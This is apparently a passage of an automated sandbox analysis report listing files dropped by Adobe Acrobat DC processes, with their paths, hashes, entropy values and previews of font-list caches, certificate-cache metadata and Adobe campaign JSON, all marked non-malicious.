Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklsvkVltfllXlE/HT8kyhlzXNNX8RolJuRdxLlGB9lQRYwpDdt:kK1vkPeT8hNMa8RdWBwRd
MD5:	9053F13882D5869E636C808511DE8527
SHA1:	D117CDDE8EF066E07F06FB341CCBA591A56609BB
SHA-256:	17054E6795FCD555791EA2231BD78D2AEA6A3BBB15B42A87BFA50D39B99FD9C6
SHA-512:	BAA82ECFE90ED623BA252DE169F48D7832CFD38BF4383484B654AB71CF0FB22E32E10A41E716F6C4753601C2BB27284CBFF74C17172EA8C7CF9B473AD56C1C53
Malicious:	false
Preview:	p...... ...........a.c..(....................................................... ..........W.....^..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2274838221270206
Encrypted:	false
SSDEEP:	6:kKluL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:AiDImsLNkPlE99SNxAhUe/3
MD5:	65FD549044872EA76A8B0B761883AE65
SHA1:	49B66D92B96262A9B24D1664A261E6CB5E27C347
SHA-256:	877D99EA1885A8EDD4DB4FFC3D5F7EA40E3645995D59F26340C9D9AE67D22B80
SHA-512:	659A368C278DD9D5834294BBF5B2074E1C13BA6FE3936C6869216BBDE0B6B921EF7D5847F7C8B1F3DB9110FEBC4BD3973999E4D147D79B010E9B6B5BA62C772F
Malicious:	false
Preview:	p...... ...........t.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8064

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8064

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.361881741519257
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeRQIYvB3/dVlPIHAR0YtqoAvJM3g98kUwPeUkwRe9:YvXKXGRQnvR/ZwHAnGMbLUkee9
MD5:	6FDE11FEDF4AA70AA9069F30494CD698
SHA1:	E19C00F174A791F883BF2FBCD9D0E52DFD163046
SHA-256:	D1FEAB4C0F8ACB27A0363A21CC5C9986F32BCA8A4EE78F9B9F914CFB367C7B32
SHA-512:	CBADE3B8B642089FB2EBB73E439CEC9F9328D8F539A8D92905B717C2A910E10CE77621AD6C5381D44016C7E95EBAD52B7E0E3AFAB4DCC237F5CEB8C3F4247671
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"319619c5-b527-462a-a317-d8f4689ca0c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753109768,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.299566638968055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeRQIYvB3/dVlPIHAR0YtqoAvJfBoTfXpnrPeUkwRe9:YvXKXGRQnvR/ZwHAnGWTfXcUkee9
MD5:	BD27A9C75F4AB929AC551C9D6123A6DA
SHA1:	724971ABA21682DC2098CBD4E518E19A1F7304AE
SHA-256:	2EC6F2983D6A28CB77E7EC5679DBD468E83739DE0F3C9A7796132489B456305C
SHA-512:	A199AC78FE95E349A4C0330BD80664055E74F2F6C580FF6C10BB780CFE17A9EEAD2025D9ADD3F9F5097D6B591E9F1FEF14F3F6DDCFE75F7CF71FFDEFDABC5348
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"319619c5-b527-462a-a317-d8f4689ca0c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753109768,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.277109837186678
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeRQIYvB3/dVlPIHAR0YtqoAvJfBD2G6UpnrPeUkwRe9:YvXKXGRQnvR/ZwHAnGR22cUkee9
MD5:	CE4E3AE16EE1735FDAE187B3C9FEE494
SHA1:	A89C50F774526C80D4A7E96B4F92CD28BBF1C2B6
SHA-256:	A1CEFB6E32E7D3DCDE90307954E4B688F7AA72A670967FEFD8A2242BC3501030
SHA-512:	F75F5C7EBFB1423A8EE96B56A057D3A7CA94CE320E31E1FBA7597FE80409FD6504B026FAF3E52F6416DD068018D2699B088E7CEA6777331353199AECFA1DB1D5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"319619c5-b527-462a-a317-d8f4689ca0c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753109768,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.338778300527784
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeRQIYvB3/dVlPIHAR0YtqoAvJfPmwrPeUkwRe9:YvXKXGRQnvR/ZwHAnGH56Ukee9
MD5:	04600548783E070A4F5AF4831600CC3A
SHA1:	26DA187117DD35D21FA40B3240FE342962B96C4E
SHA-256:	519BB2E24F24F060596AC4DE23E8ED0360B530D49EF6C0A877E2254BEF90EFF0
SHA-512:	B2AB23F63594E66436D474B32CEB45045DF3A2E18624D7FC58F4733BD1679A4CFFF3EC910B53EB0F08BF7D06FB05BE2AF6C1184AA07D48666FF4861B04117B0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"319619c5-b527-462a-a317-d8f4689ca0c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753109768,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6918105204093274
Encrypted:	false
SSDEEP:	24:Yv6XGRQnJhQpLgE9cQx8LennAvzBvkn0RCmK8czOCCS/E:YvOJhQhgy6SAFv5Ah8cv/M
MD5:	A6C91E08AA4EC7F136F4B6F4B82569EF
SHA1:	CD3B726A873CEEC8DB5E2E95C6D4EB01A9446823
SHA-256:	6635655E4D1829BCFC6DC99920982BCE6B22291E0FF9E6630236E53FC881198E
SHA-512:	589D597A7F29F555E694C23EC6C2C65D00B80CBBD33D9BDCF225F68F3C7F7663D7C284D772ED86CECF6A1BC7436A1C17E58FC9090102AD37D627C2B5E947D9E1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"319619c5-b527-462a-a317-d8f4689ca0c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753109768,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28841426367858
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeRQIYvB3/dVlPIHAR0YtqoAvJf8dPeUkwRe9:YvXKXGRQnvR/ZwHAnGU8Ukee9
MD5:	795B7EF7C5F19708ECDD25F876329D68
SHA1:	CC588CCE0A06C560CE950D0AC1F5FC6B7985736E
SHA-256:	C54E7E2715109519CB452E9DC76A7A5FD8C264EEF81A12F256ECCF27D6C05E27
SHA-512:	45F13F9D3D8C96F8DC53777873E7AF3D94FD3530AAEBB636526E3829B4ECCC3631B67EC5E1797FE5F4BA7B7F077F766008ABD9E5E697603ABF0B7DC88529B62A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"319619c5-b527-462a-a317-d8f4689ca0c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753109768,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.28781205963446
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeRQIYvB3/dVlPIHAR0YtqoAvJfQ1rPeUkwRe9:YvXKXGRQnvR/ZwHAnGY16Ukee9
MD5:	089DBF3B5D220BC826278E93B6AEB28B
SHA1:	7AF0D558760A2AF9652BAA9BA514319129BB4755
SHA-256:	F50326DFC46B36069B3DE6885B4031D3B9CA9601CC5BE484E10FED83286E7CA0
SHA-512:	73A0228843DD48765B8FD9959BE5AB21E35CFECD08F4B275C4DFC2A6F3694DC276E425AD4E7B35A04AF14FE35BDD17187D6D2C1B2D869C8715C3A8AC6E42C197
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"319619c5-b527-462a-a317-d8f4689ca0c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753109768,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304341457378577
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeRQIYvB3/dVlPIHAR0YtqoAvJfFldPeUkwRe9:YvXKXGRQnvR/ZwHAnGz8Ukee9
MD5:	8386F93C8A348AE2AAF037A40712568C
SHA1:	B47280DFB820F6FCE6544DFC13A5981C5A380C52
SHA-256:	8966C0C02CC67121997E9C3B843CD5038CA827666BB7131ACC822694487DB44D
SHA-512:	BFFE0BFBD5F6AD2AB12EA9A56EC21DC9654552D4A9FBEB498C823A60FFFDA89A0CCDF7B41B505CB3DEC64072BB1B3C1894DEDBC79D0A8D62D6600F16CFF87E0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"319619c5-b527-462a-a317-d8f4689ca0c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753109768,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.317436626517753
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeRQIYvB3/dVlPIHAR0YtqoAvJfzdPeUkwRe9:YvXKXGRQnvR/ZwHAnGb8Ukee9
MD5:	4014ED22B7A8C5FDB6480FD5634965B0
SHA1:	B3551A854E18C48A3A7A28A84772650ADF82F31F
SHA-256:	3967809F511EE6423FD4AA61578F10EFDE3F18FE6FB7BA7BE84A9FFCE4D7B700
SHA-512:	267798DADA9C46C4B7E78AF4811607D87B20B209BE3165A24FFBD0FA4E866BAD109FB80C0EB2018E1112173FC6174D5AC7076496B9CB6D677A9A2BC3E96414B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"319619c5-b527-462a-a317-d8f4689ca0c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753109768,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.298317840012394
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeRQIYvB3/dVlPIHAR0YtqoAvJfYdPeUkwRe9:YvXKXGRQnvR/ZwHAnGg8Ukee9
MD5:	DE6CD9F97714BCF0E70993C5B2583484
SHA1:	EAED0C448F2DD9D8BF62B69AB32A56340B4D01A4
SHA-256:	D609676CE392C861FD0DF4CBAE288AA6FDD85D06408C37DE622DEF818D35E347
SHA-512:	B6C09CC0D4B1FE53AB4769B6505D16FCF5309B6A4528126A6E8D43709D3CC3B88583C12D491AFA7CC606AD5366799479FBA3EF0AF3B9138D6C410A0833F44D24
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"319619c5-b527-462a-a317-d8f4689ca0c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753109768,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.284020895809488
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeRQIYvB3/dVlPIHAR0YtqoAvJf+dPeUkwRe9:YvXKXGRQnvR/ZwHAnG28Ukee9
MD5:	CDAC66A0AA161FF995D746EC9E51E43E
SHA1:	0285C12A89A3B9C6F0912564098E0CBD95D9B2B9
SHA-256:	359CAB28CD5179231CA982471395A4CFFDCA17568FCE2B769F9B3F0E17961795
SHA-512:	9371E6BD6B896270C72247E51429E34B2AF1F886BE11A92ABCFE6BD61846A7CE4B75DDF62A13631D909C172BABD9230FE59D7F7C8BCEE4E3B4DEABBA64F6717C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"319619c5-b527-462a-a317-d8f4689ca0c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753109768,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.281876498923286
Encrypted:	false
